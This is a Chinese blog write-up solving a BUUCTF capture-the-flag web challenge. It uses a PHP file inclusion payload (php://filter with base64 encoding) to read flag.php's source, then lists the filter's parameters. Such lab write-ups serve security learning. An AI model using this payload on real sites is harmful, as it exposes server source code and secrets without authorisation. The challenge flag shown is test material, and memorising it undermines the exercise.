BUUCTF WEB ACTF2020 新生赛 Include

原创

Ethan552525 于 2021-07-19 14:33:07 发布 118 收藏 3
分类专栏： BUUCTF 文章标签： php 安全 web

本文链接：https://blog.csdn.net/Ethan552525/article/details/118879824

题目：

tips

解题：

1：点击tips

Can you find out the flag?

2：F12查看源码

```
<html>
▶<script id="allow-copy_script">…</script>
▶<head>…</head>
••• <body>Can you find out the flag?</body> == $0
▶<div style="all: initial;">…</div>
</html>
```

什么也没有。

3：文件包含漏洞

根据url：http://588343f8-9c53-4080-b98f-81c243df6870.node4.buuoj.cn/?file=flag.php

和题目“ACTF2020 新生赛 Include”，可猜测为Include文件包含漏洞。可以用php://filter协议来查看源文件内容试试；构造：file=php://filter/read=convert.base64-encode/resource=flag.php;

这句话的意思是我们用base64编码的方式来读文件flag.php；这时页面会显示出源文件flag.php经过base64编码后的内容，有可能flag被隐藏在源文件中，然后经过base64解码就可以查看源文件。

输入：file=php://filter/read=convert.base64-encode/resource=flag.php，得到：

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjI4NWE4MDItYWUyNy00MjA0LTk1MTUtZjZlNmQzYWQxYzAwfQo=

在线解码：https://base64.us/

```
<?php
echo "Can you find out the flag?";
//flag{6285a802-ae27-4204-9515-f6e6d3ad1c00}
```


4：php://filter协议

php://filter是PHP中独有的协议，利用协议php://filter可以读取源码，为了读取包含有敏感信息的PHP等源文件，我们就要先将“可能引发冲突的PHP代码”编码一遍，再输出。

php://filter 的参数列表：	read	读取
	write	写入
	resource	数据来源(必须的)
read参数值可为：	string.strip_tags	将数据流中的所有html标签清除
	string.toupper	将数据流中的内容转换为大写
	string.tolower	将数据流中的内容转换为小写
	convert.base64-encode	将数据流中内容转换为base64编码
	convert.base64-decode	与上面对应解码